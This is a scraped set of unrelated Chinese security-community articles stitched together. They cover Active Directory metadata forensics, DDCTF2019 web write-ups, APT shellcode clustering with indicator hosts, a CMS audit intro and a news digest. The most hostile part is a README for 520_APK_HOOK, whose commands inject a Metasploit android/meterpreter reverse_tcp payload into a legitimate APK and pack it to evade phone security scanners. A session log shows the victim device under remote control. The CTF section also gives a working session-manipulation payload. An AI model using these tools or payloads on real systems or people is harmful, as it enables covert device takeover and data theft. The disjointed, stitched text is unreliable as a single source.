元数据包括两类，分别由msDS-ReplAttributeMetaData查询和msDS-ReplValueMetaData查询，前者是具体的属性，例如登录时间、口令修改时间等；后者是链接类属性，最典型的链接类属性是用户组和组成员的关系，一个组包含组成员（member），一个对象是组的成员（member
of），关于链接属性在后面有更具体的说明。
## 0x02 检测管理员组成员变更
应用场景：某用户被临时加入管理员组，使用该用户做了一些事情，事后该用户将自己挪出管理员组；域服务器已开启相应的审计策略。希望基于元数据追踪哪个用户发生了权限变更、什么时间、哪个域服务器、在哪台主机和由谁发起变更。
域服务器已开启安全日志，并有相应的第三方产品及相应的策略严格监控管理员组，一旦发生此类情况，则会当场被检测出，第三方产品有SPLUNK等，不过价格昂贵。如果服务器已开启安全日志，但没有第三方产品及策略严格监控管理员组的变更，则只能是事后对该种行为进行还原、定位和取证。
系统日志默认不会审计组成员的变化，需要在组策略中开启，具体位置如下：
Local Computer Policy -> Computer Configuration -> Windows Settings ->
Security Settings -> Advanced Audit Policy Configuration -> Account Management
-> Audit Security Group Management
将某个用户加入某个组时，不需要具备对该用户的任何权限，只需要具备对该组的权限即可，该组会添加一个到用户的链接属性，域服务器需要维持、跟踪这些链接。系统会自动根据这个链接属性，为用户计算出一个只读的反向链接属性（Back
Link），方便用户信息的查询，这个属性在域之间不需要复制，因为可以通过计算得出。
链接类属性由msDS-ReplValueMetaData表示，有不同的查询方式。使用repadmin工具的命令和对应的结果如下：
repadmin /showobjmeta “win2016-dc01” CN=Administrators,CN=Builtin, DC=adsec,DC=com
上图的member属性，即链接类属性，圈红的为PRESENT或者ABSENET，三种状态之一，其含义分别如下：
PRESENT，对象目前是组成员，如图中的administrator用户，当前隶属于administrators组；
LEGACY ，表示对象在林功能等级升级至2003以前就是组成员，说明域里面层级是操作系统版本比较低的服务器，例如Windows
2000或者NT等等，没有具体作用；
ABSENT ，对象曾经是组成员，但目前不再是组成员，如图中的win10x64user用户。
Ver这一栏，表示用户与该组的隶属关系发生了几次变更，起始值为1，每变动一次累加1，所以偶数表示曾经是但目前不是，奇数表示目前是成员。
ABSENT表示用户已经不再隶属于组，这个状态会维护多久？这个时间由tombstoneLifeTime决定，这个值在这里可以查询：CN=Directory
Service,CN=Windows NT,CN=Services,CN=Configuration,
DC=adsec,DC=com（ADSI的configuration模式）的属性中有tombstoneLifeTime，如果没有设置，2003系统默认是60天，更高的系统默认是180天。意味着事后追踪往前的最长时间为180天。
使用PowerShell提供的ActiveDirectory模块同样可以获取链接属性，具体脚本和结果截图如下：
Get-ADObject -SearchBase "CN=Administrators,CN=Builtin,DC=adsec,DC=com" -Filter * -SearchScope Subtree -Properties msDS-ReplValueMetaData
pszAttributeName ，属性名，为member，即组成员属性；
pszObjectDN，DistinguishedName，例如CN=win10x64user,CN=Users,DC=adsec,DC=com；
ftimeDeleted，成员被删除出组的时间；
ftimeCreated ，成员被加入组的时间；
dwVersion ，成员的变更次数，起始值为1，每变动一次累加1；
ftimeLastOriginatingChange ，成员链接的最后一次变更时间；
uuidLastOriginatingDsaInvocationID ，变更发生的所在域服务器的InvocationID ；
pszLastOriginatingDsaDN，最后变更组的域服务器的NTDS的DN，例如CN=NTDS
Settings,CN=WIN2016-DC01,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=adsec,DC=com。
基于这些属性，可以实现预设应用场景中想达到的追踪效果。下面以具体的例子演示如何进行追踪。
演示场景：普通域用户eviluser被加入域管理员组，eviluser自己退出管理员组。利用元数据追踪该事件。
上图表示当前eviluser已经不是管理员组成员，查看组成员的方式无法追踪哪个用户曾经进入过管理员组。
第一步，本文前面repadmin的代码可以查看不同管理员组的变化情况，但是一个大型的域往往有很多的特权组，逐个查看会比较麻烦，使用系统自带的Get-ADGroup会更方便。如下代码可以查看所有特权组的成员变化情况：
Get-ADGroup -LDAPFilter "(&(objectClass=group)(adminCount=1))" -Server Win2016-dc01 -Properties msDS-ReplValueMetaData
代码使用的过滤器是group，设置adminCount=1，表示将所有受adminSDHolder保护的特权组全纳入追踪范围。一般情况下，为了筛选数据，会选择查看某一个时间范围内的数据，以减少数据量，由于是示例演示，演示代码中不加入时间限制。
结果截图可以看出“Domain Admins”组的链接型元数据中有变更记录，可以获取具体时间和所在服务器的InvocationID。
第二步，根据InvocationID找到对应的域服务器，从服务器中分析安全日志。LogParser + LogParser Wizard
GUI工具是非常方便的Windows日志分析软件。当组成员发生变更时，对应安全日志的Event
ID分别是[4728、4729。](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=4735)以4728、4729作为索引、时间作为筛选条件，在日志中查找相应的事件，可以获得日志记录编号。查询筛选结果如下图：
SELECT TOP 100 * FROM 'C:\Users\Administrator\Desktop\change.evtx' WHERE EventID=4728 or EventID=4729
第三步，以日志编号在系统日志中查询具体的事件，2个事件的详细信息截图分别如下：
第四步，从安全日志中可以清晰看出组成员变化事件的发起者为administrator，具体的组为domain
admins，添加/删除的成员为eviluser，发生的时间，以及事件发生所在的计算机。演示在域服务器上执行，所以上图的Computer显示是Win2016-dc01，如果在被恶意控制的主机上执行事件，则会显示主机的机器名，可定位事件发生的具体执行位置。细心的读者可能会看到截图中事件的时间和上面PowerShell脚本的结果时间并不完全相同，这是因为时间格式不同。
## 0x03 检测用户对象ACL变更
应用场景：用户对象的ACL属性发生变更，例如赋予普通域用户对域管理员对象的ACL写权限，使得该普通用户随时可获取域管理员权限。基于元数据追踪哪个用户对象的ACL发生了变更、什么时间、在哪个服务器、哪个主机和谁发起变更事件。
ACL属性变更时，会反应在msDS-ReplAttributeMetaData中的ntSecurityDescriptor属性的时间和Ver上。使用PowerShell脚本可以获取指定用户对象的该属性。代码和结果截图如下：
repadmin /showobjmeta win2016-dc01 cn=administrator,cn=users,dc=adsec,dc=com
其中DSA可以查看事件发生所在的域服务器。获取所有用户ntSecurityDescriptor属性的代码及结果截图如下，执行结果后可以添加任意筛选策略：
Get-ADObject -LDAPFilter "(&(objectCategory=user)(sAMAccountName=*))" -SearchBase "cn=users,dc=adsec,dc=com" -SearchScope Subtree -Properties msDS-ReplAttributeMetaData,distinguishedname | ForEach-Object {
Write-Host "DN: $($_.DistinguishedName)"
$_."msDS-ReplAttributeMetaData" | ForEach-Object{
$_Metadata = [XML] $_.Replace("`0","")
$_Metadata.DS_REPL_ATTR_META_DATA | ForEach-Object {
If ( $_.pszAttributeName -eq "ntSecurityDescriptor" )
{
Write-Host "ntSecurityDescriptor last modification: $($_.ftimeLastOriginatingChange)"
}
}
}
}
从图中得知administrator对象的ntSecurityDescriptor发生了变更，此类事件在安全日志中的Event
ID为4662。对事件的追踪、定位和取证流程和上一节类似。根据Event ID和时间从系统日志中查找对应的记录，截图如下：
## 0x04 检测口令策略的欺骗绕过
应用场景：域制定了口令策略，强制用户每30天修改一次口令。有人使用欺骗方式，始终不触发强制的口令策略，保持口令不变；有人频繁恶意重置口令（重置口令是攻击的重要手段），我们将利用元数据检测、追踪这2种恶意行为。
欺骗方式如下图，选择用户属性的“下次登录时修改口令”，点击应用，然后取消选择，点击确定，口令可以继续使用30天，周而复始，系统始终不会提醒用户口令过期。
该方式，在不变更用户口令的前提下，口令的最后设置时间发生了变更。这种方式之所以能欺骗绕过口令策略，是因为口令过期与否，由pwdLastSet和周期阀值时间相加，与当前时间比较得来。如果前面相加的值大于当前时间，则说明未过期，否则是过期口令，必须强制修改。修改完后，pwdLastSet会被设置会当前时间。使用上图中的选项，会导致pwdLastSet被设置为当前时间，而不管用户是否真的修改了口令，从而可以欺骗绕过口令策略。
用户的口令散列值存储在2个地方:一是unicodePwd存储NTHash；dBCSPwd存储LMHash，即使系统没有存储LMHash，这里也会设置一个随机的散列值；如果NTHash发生了变更，这里也会相应地发生变更。
在Windows系统中，没有向用户层提供API接口来读取这些属性，但是这些属性又必须在域服务器之间进行同步，所以肯定有元数据与之相关联。我们通过获取版本号，确认发生过多少次的口令变更。
使用如下指令可以查看unicodePwd和dBCSPwd的版本：
repadmin /showobjmeta Win2016-dc01 "CN=win10x64user,CN=Users,DC=adsec,DC=com"
图中可以看到unicodePwd、dBCSPwd属性的版本Ver值，变更时间及所在服务器的DSA ID号。
Windows系统中，如果使用net
user命令初始创建的用户，unicodePwd等属性的Ver起始值是2；使用ADSI工具创建的用户，起始值是1。但不管怎么说，起始值都比较小，每变更一次，他们的值会增加1。当使用上面的欺骗方式时，这2个属性的Ver不会增加，且时间不发生变化，但是pwdLastSet会发生变化，这几个时间不一致，则说明发生此种恶意欺骗行为。为了更精确，可以通过Get-ADObject获取用户的登录次数，以确定用户的活跃度。这种欺骗方式在系统日志中的Event ID为4738。
一旦确定发生了上述欺骗方式，追踪定位的流程和上一节所述类似，安全日志的截图如下，通过安全日志可以追踪事件发起人、对象、事件和主机位置。
如果一个用户的口令修改次数，远超周期时间内口令过期次数，则可能发生口令被恶意频繁重置。将获取的unicodePwd属性的Ver值，与正常情况下口令过期次数进行比较，超过一定的阀值，即认为用户被恶意重置。这种恶意重置事件的安全日志Event
ID为4724。
一旦确定发生了上述欺骗方式，追踪定位的流程和上一节所述类似，安全日志的截图如下，通过安全日志可以追踪事件发起人、对象、事件和主机位置。
在大型网络中，用户成千上万，因此需要有批量的方法完成检测，下面的代码可以做到。只需在检测结果上加上筛选策略即可。
Get-ADObject -SearchBase "CN=Users,DC=adsec,DC=com" -SearchScope Subtree -LDAPFilter "(&(objectCategory=person)(sAMAccountName=*))" -Properties msDS-ReplAttributeMetaData | Get-ADReplicationAttributeMetadata -Server Win2016-dc01 | Where-Object { $_.AttributeName -eq "unicodePwd" -or $_.AttributeName -eq "dBCSPwd" -or $_.AttributeName -eq "ntPwdHistory" -or $_.AttributeName -eq "lmPwdHistory" } | Out-GridView
## 0x05 小结
域同步的元数据在检测、定位、取证恶意行为上有很大的帮助，本文以3个例子演示了使用的具体方法。这种检测方法可以对抗许多非常隐蔽的后门方式、恶意攻击行为等。
## 参考文献：
[1] https://www.slideshare.net/harmj0y/ace-up-the-sleeve
[2] https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-0-metadata-what-is-it-and-why-do-we-care/
[3] https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
[4] https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
[5] https://blogs.technet.microsoft.com/pie/2016/10/20/metadata-3-spot-who-is-cheating-with-the-password-policy/
[6] http://www.harmj0y.net/blog/defense/hunting-with-active-directory-replication-metadata/ | 社区文章 |
# DDCTF2019 两道WEB题解
前几天打了DDCTF，有几道WEB题还是挺不错的，在这里分析一下。
### homebrew event loop
题目直接给了源码，是一道flask代码审计
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f88147e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. '
resp += '<a href="./?action:view;index">G'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23Fal'
html += '<a href="./?action:vie'
html += '<a href="./?acti'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy'
elif page == 'reset':
del session['num_items']
html += 'Session reset.'
html += '<a href="./?action:view;index">G'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Do'
html += '<a href="./?action:view;index">G'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) '
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
函数会返回flag，但是需要想办法执行他，并获取返回值。trigger_event函数会把收到的参数存入session['log']，然后存入队列中。
看一下`get_flag_handler`函数，当`session['num_items']
>=
5`会把flag传入`trigger_event`，然后会存入session，我们把session解码即可看到flag。这里有比较关键的两个函数`buy_handler`和`consume_point_function`，我们的`points`初始为3，session['num_items']为0，每一次buy的参数要小于`points`的值，否则会报错。
现在我们的思路是：要么直接执行`FLAG()`函数把flag返回到前端，要么在`buy_handler`一个很大的参数之后直接调用`get_flag_handler`。
#### 直接执行`FLAG()`函数
所以此路不通
#### buy_handler->get_flag_handler
我们知道我们到url参数会被直接传入队列，并且现在我们可以调用任意函数。会直接返回第一个`;`之后的内容，接着用`#`号分割为列表。而我们的`trigger_event`是支持传入列表的，那么我们可以调用名为`trigger_event`的函数，参数为先`buy`后`get_flag`即可。
payload：`?action:trigger_event%23;action:buy;5%23action:get_flag;`，访问之后session解码即可。
### mysql弱口令
这道题用到的是[MySQL LOAD DATA 读取客户端任意文件](https://www.smi1e.top/mysql-load-data-%E8%AF%BB%E5%8F%96%E5%AE%A2%E6%88%B7%E7%AB%AF%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6/)需要注意的是`agent.py`中的`Process_name`需要含有mysqld，直接改源码，端口写3306，然后跑<https://github.com/allyshka/Rogue-MySql-Server>中的脚本即可。
接下来就是找flag，可以直接读`～/.mysql_history`
或者读取`~/.bash_history`，找到工作目录，读源码/home/dc2-user/ctf_web_2/app/main/views.py
# coding=utf-8
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64
# flag in mysql curl@localhost database:security table:flag
def weak_scan():
agent_port = 8123
result = []
target_ip = request.args.get(\'target_ip\')
target_port = request.args.get(\'target_port\')
.......
可以看到flag在security库flag表中。my.cnf
`/var/lib/mysql/security/flag.ibd` | 社区文章 |
# 【技术分享】通过Shellcode聚类识别定向攻击（APT）相关的恶意代码
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**背景**
**APT 过程的关键环节**
**洛马的Kill Chain模型**
**武器构建**
伪装的正常文档捆绑漏洞利用代码
**载荷投递**
发送带捆绑了恶意附件的邮件到目标
**突破利用**
目标尝试点击打开邮件附件，触发漏洞或代码执行机制，如果是内存类的漏洞，可能的Shellcode会得到执行
图片来源：<http://www.darkreading.com/attacks-breaches/deconstructing-the-cyber-kill-chain/a/d-id/1317542>
**鱼叉邮件攻击中所使用的漏洞**
****
**漏洞利用与shellcode** **
**
**Shellcode：什么和为什么**
基本上就是一段不需要操作系统负责加载执行的机器码
内存破坏类Exploit的必要组件，相对独立
1）漏洞利用成功以后第一阶段执行的指令，开辟通信通道连接到C&C服务器
2）获取其他恶意组件代码执行，包括后门远控及各种专用恶意组件
**方法**
**样本集**
关注鱼叉攻击中被高频使用的RTF文件
11672 个样本文件
绝大多数收集自VirusTotal, 40%被捆绑了已知的Exploit
漏洞在样本中分布
**使用IDA反汇编二进制数据**
通过IDC脚本调用 **MakeCode()** 来查找和生成ASM代码
idaw.exe -c -A -S “extract_sc.idc offset” binary_data.dat
**Shellcode检测和抽取演示**
****
****
****
**Shellcode抽取**
**抽取统计**
一半样本只包含一段Shellcode
另一半样本包含两段Shellcode
**Shellcode 聚类**
**N-gram feature**
****
**两阶段的 K-means 聚类**
第1阶段挑出小簇
第2阶段划分剩下的大簇
**统计**
****
**
**
**分析**
**两个基本假设**
高级恶意代码有其独特的Shellcode
APT攻击由于其定向性涉及的恶意代码数量比一般攻击要少得多
**已知的**
Cluster 60
Sample 数量: 1
258fc73ce3ba011948f8704bbe3d87bc
www.agv-us.com
58.158.177.102
****
数据来源: Alienvault
Cluster 100
Sample 数量: 4
F845e5cc072360fa6ef1b8d50f9491ec
194.28.172.58
数据来源: Alienvault
**360威胁情报中心的判定**
****
**未知的** **
**
**Cluster 108**
6 shellcodes
217.91.17.152:443 216.70.141.250:80 msnmail.mobwork.net
**Cluster 56**
2 shellcodes
firewall.happytohell.com
**Cluster 65**
6 shellcodes
boy-girl2013.narod2.ru
**结论**
**一个简单有效的方法** ****
通过Shellcode聚类识别定向攻击（APT）相关的恶意代码是一个有效的方法
**可能漏过许多，但误报很少**
单维度的数据异常不够
假设1并不一定正确
Shellcode可能并没有全部被抽取
聚类算法可以再优化
**团队介绍**
**360天眼实验室**
360企业安全集团的安全研究机构
关注恶意代码及APT攻击事件分析
2015年5月发布海莲花团伙的报告 | 社区文章 |
# 520_APK_HOOK
## 介绍
* 将msf生成的payload，注入到一个正常的apk文件中，重新打包后进行加固，bypass手机安全管家的检测。
* 项目地址: <https://github.com/cleverbao/520apkhook>
* 作者: BaoGuo
## 优点
* 相比于原始的msf远控，此版本app在进行远控时，被注入的app可以正常运行，原始msf生成的app程序，只在桌面上有一个图标，点击后没有任何app界面。
* 注入后的app在安装时，手机管家不会有任何安全提示，原始msf生成的app程序，安装时手机管家会有安全警示。
## 重点说明
* 项目目前由于加固脚本问题, 目前只支持单classes.dex文件操作.
* 本项目仅用于安全研究, 禁止利用脚本进行攻击, 使用本脚本产生的一切问题和本人无关.
## 项目依赖
* 本项目参考以下项目
* [Java层DEX一键加固脚本](https://github.com/yongyecc/apksheller)
* [APK Infector](https://github.com/PushpenderIndia/apkinfector)
## 使用
1. 使用Linux或者macos主机, 安装python3, openjdk8, metasploit-framework.
2. 使用python3生成apk文件, 需要指定msf远控链接的IP和端口.
➜ ~ cd 520apkhook
➜ 520apkhook python3 hook.py --lhost 192.168.0.21 --lport 1433 -n ./base.apk
[*] 创建随机字符串,用来修改msf payload!
[+] 生成成功!
[*] 检查电脑上的开发环境
================================
[:] NOTE : 请确认安装jdk8环境!
[*] 检查 : Jdk版本
javac 1.8.0_282
[+] JDK - OK
......
// --host 指定msf远控的IP
// --lport 指定msf远控端口
// -n 指定被注入的apk文件路径
1. 生成中需要指定msf payload类型
➜ 520apkhook python3 hook.py --lhost 192.168.0.21 --lport 1433 -n ./base.apk
[*] 创建随机字符串,用来修改msf payload!
[+] 生成成功!
[*] 检查电脑上的开发环境
================================
[:] NOTE : 请确认安装jdk8环境!
[*] 检查 : Jdk版本
javac 1.8.0_282
[+] JDK - OK
[*] 检查 : msfvenom
[+] msfvenom - OK
====================================
[*] Available Types of Payload
====================================
(1) android/meterpreter/reverse_tcp
(2) android/meterpreter/reverse_http
(3) android/meterpreter/reverse_https
[?] 选择msf payload (1/2/3): 1
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10192 bytes
......
1. apk签名时需要输入证书的相关信息.
......
[*] 将加固后的dex文件替换apk中的class dex!
'classes.dex'...
[+] 插入成功 !
[+] app加固完成
[*] 创建app签名文件!
您的名字与姓氏是什么?
[Unknown]: zhouhongyi
您的组织单位名称是什么?
[Unknown]: 360
您的组织名称是什么?
[Unknown]: qihu360
您所在的城市或区域名称是什么?
[Unknown]: beijing
您所在的省/市/自治区名称是什么?
[Unknown]: beijing
该单位的双字母国家/地区代码是什么?
[Unknown]: china
CN=zhouhongyi, OU=360, O=qihu360, L=beijing, ST=beijing, C=china是否正确?
[否]: y
......
1. 在生成apk文件后, 目录下会产生`Final_Infected.apk`和`handler.rc`
➜ 520apkhook ls
Final_Infected.apk base.apk hook.py libs
Readme.md handler.rc images
1. 使用msfconsole加载handler.rc进行服务端监听
➜ 520apkhook msfconsole -r handler.rc
# cowsay++
____________
< metasploit >
------------ \ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v6.0.42-dev-b177452c898ad956be8540a40c805bf52310c234]
+ -- --=[ 2124 exploits - 1137 auxiliary - 361 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: After running db_nmap, be sure to
check out the result of hosts and services
[*] Processing handler.rc for ERB directives.
resource (handler.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (handler.rc)> set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
resource (handler.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (handler.rc)> set LPORT 1433
LPORT => 1433
resource (handler.rc)> set exitonsession false
exitonsession => false
resource (handler.rc)> exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:1433
msf6 exploit(multi/handler) >
......
1. 将生成的apk文件在安卓手机进行安装, 即可完成对目标的控制
1. 成功后, 可以在msf中进行远程控制
msf6 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ---------- 1 meterpreter dalvik/android u0_a53 @ localhost 192.168.0.21:1433 -> 192.168.0.68:65133 (192.168.16
4.194)
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : localhost
OS : Android 11 - Linux 5.4.61-********+ (armv81)
Meterpreter : dalvik/android
meterpreter > ls
No entries exist in /data/user/0/com.zhangy.vphone/files
meterpreter > app_list
Application List
================
Name Package Running IsSystem
---- ------- ------- -------- Android System WebView com.android.webview false true
Android 系统 android false true
Android动态壁纸 com.android.wallpaper false true
Arm Pro armadillo.studio false false
Black Hole com.android.galaxy4 false true
Bluetooth MIDI Service com.android.bluetoothmidiservice false true
Call Log Backup/Restore com.android.calllogbackup false true
CaptivePortalLogin com.android.captiveportallogin false true
HTML 查看程序 com.android.htmlviewer false true
Intent Filter Verification Service com.android.statementservice false true
KK谷歌助手 io.kkzs false true
LOL GG com.hpdjyxsziq.sqmezcbpyf false false
Live Wallpaper Picker com.android.wallpaper.livepicker false true
MT管理器 bin.mt.plus false false
......
## 不同手机安全管家对app安装时检测结果
* 华为
* 小米
* VIVO | 社区文章 |
#### 0x01 前言
一天一个朋友发我一个通用漏洞验收及奖励标准
看着还可以，一顿突突以后，准备提交的时候发现！！！！！
嗯。问题不大 : )
一直以来都很少看到有比较完整的cms审计过程，所以特地记录一下自己的审计过程，希望后后入门审计的人可以少走点弯路，找到自己的审计方式。
注意：文章可能会字很多很烦，因为你可以看到我一直在哪里BBBBBB。
最后希望此文章可以帮助到想学习的人 ( ﾟ∀ﾟ) ﾉ♡
### 0x02 安装系统
这个系统很方便默认情况下，直接下载下来什么都不用做即可使用。
但是系统默认是使用 sqlite 的，我不喜欢 ╮(╯▽╰)╭
数据库配置文件路径：PbootCMS-V1.2.1\config\database.php
这里我修改为mysql 数据库来跑
数据库配置文件路径：PbootCMS-V1.2.1\config\database.php
数据库sql保存路径：PbootCMS-V1.2.1\static\backup\sql\20180720164810_pbootcms.sql
然后自己创建个数据库导入即可如图
然后重新打开网站即可
后台默认账户密码
账户：admin
密码：123456
剩下的可以查看帮助手册：PbootCMS-V1.2.1\doc\help.chm
### 0x03 查看网站目录结构确定基本内容
PbootCMS-V1.2.1
├─ apps 应用程序
│ ├─ admin 后台模块
│ ├─ api api模块
│ ├─ common 公共模块
│ ├─ home 前台模块
├─ config 配置文件
│ ├─ config.php 配置文件
│ ├─ database.php 数据库配置文件
│ ├─ route.php 用户自定义路由规则
├─ core 框架核心
│ ├─ function 框架公共函数库
│ │ ├─ handle.php 助手函数库1
│ │ ├─ helper.php 助手函数库2
├─ template html模板
├─ admin.php 管理端入口文件
├─ api.php api入口文件
├─ index.php 前端入口文件
这里我把一些重要的地方列了出来，在初步审计的时候，可以快速了解系统
### 0x04 确定路由走向
经过初步的查看，可以得出路由走向。
一种是自定义路由，还有一种是mvc的路由
#### 0x04.1 必须自定义路由才能访问的类
查看路由文件：PbootCMS-V1.2.1\apps\common\route.php
例如：
<http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/about/1>
因为他的这个文件在系统的自定义路由上所以上面的路由解析以后就是
路由：about/1 = home/about/index/scode
文件：PbootCMS-V1.2.1\apps\home\controller\AboutController.php
方法：index
参数：scode
那个 home 是由 对应的入口文件，例如文中的index.php中的URL_BLIND
#### 0x04.2 普通的mvc地址
对于不在自定义路由中的就可以按照普通的mvc模式来访问了
例如：
<http://127.0.0.1/cms/PbootCMS-V1.2.1/index.php/Message/add>
路径：apps\home\controller\MessageController.php
方法：add | 社区文章 |
# 【知识】6月20日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 蜜罐和物联网：分析卡巴斯基实验室的IoT蜜蜂获取的数据 **、**
关于Frida的资源、NSO的间谍软件威胁报告、快速分析微软ESTEEMAUDIT Patch、NSA美国国安局在github上发起开源技术合作项目、The
Stack Clash漏洞技术细节**
* * *
Linux，BSD, Solaris 等开源系统存在“ Stack Clash ”漏洞 允许攻击者以root权限执行
<https://threatpost.com/stack-clash-vulnerability-in-linux-bsd-systems-enables-root-access/126355/>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
蜜罐和物联网：分析卡巴斯基实验室的IoT蜜蜂获取的数据
<https://securelist.com/honeypots-and-the-internet-of-things/78751/>
0ctf2017 final
<http://lorexxar.cn/2017/06/16/0ctf2017-final/>
PsExec Much?
<https://rastamouse.me/2017/06/psexec-much/>
关于Frida的资源
<https://github.com/dweinstein/awesome-frida>
甲方安全建设步骤
<http://pirogue.org/2017/06/17/%E7%94%B2%E6%96%B9%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE%E6%AD%A5%E9%AA%A4/>
跨站的艺术-XSS入门与介绍
<http://www.fooying.com/the-art-of-xss-1-introduction/>
NSO的间谍软件威胁报告
<https://citizenlab.org/2017/06/reckless-exploit-mexico-nso/>
GoogleCTF2017 Back to the Past WriteUp
<https://ctftime.org/writeup/6815>
快速分析微软ESTEEMAUDIT Patch
<https://0patch.blogspot.com/2017/06/a-quick-analysis-of-microsofts.html>
物联网设备安全实践
<https://duo.com/assets/ebooks/Duo-Labs-Bug-Hunting-Drilling-Into-the-Internet-of-Things-IoT.pdf>
reversing-the-balong-m3mcu-console-lightning-the-path-to-ring-0
<https://advancedpersistentjest.com/2017/06/19/reversing-the-balong-m3mcu-console-lightning-the-path-to-ring-0/>
路由器滥用的脆弱性
<http://blog.ptsecurity.com/2017/06/practical-ways-to-misuse-router.html>
NSA美国国安局在github上发起开源技术合作项目
<https://nationalsecurityagency.github.io/>
SDR和RF信号分析简介
<https://www.elttam.com.au/blog/intro-sdr-and-rf-analysis/>
一个包含二进制逆向和利用的docker容器
<https://github.com/superkojiman/pwnbox>
关于MS17-010的细节、PoC、Exp
<https://github.com/worawit/MS17-010>
The Stack Clash漏洞技术细节
<https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt>
快速搜索漏洞exploits
<https://github.com/1N3/Findsploit>
Microsoft Edge 地址栏欺骗PoC
<https://pastebin.com/raw/uKLVr0i9>
斯巴鲁汽车软件漏洞分析—永不失效的令牌
<http://bobao.360.cn/learning/detail/3997.html> | 社区文章 |
**原文：<https://securelist.com/compfun-http-status-based-trojan/96874/>**
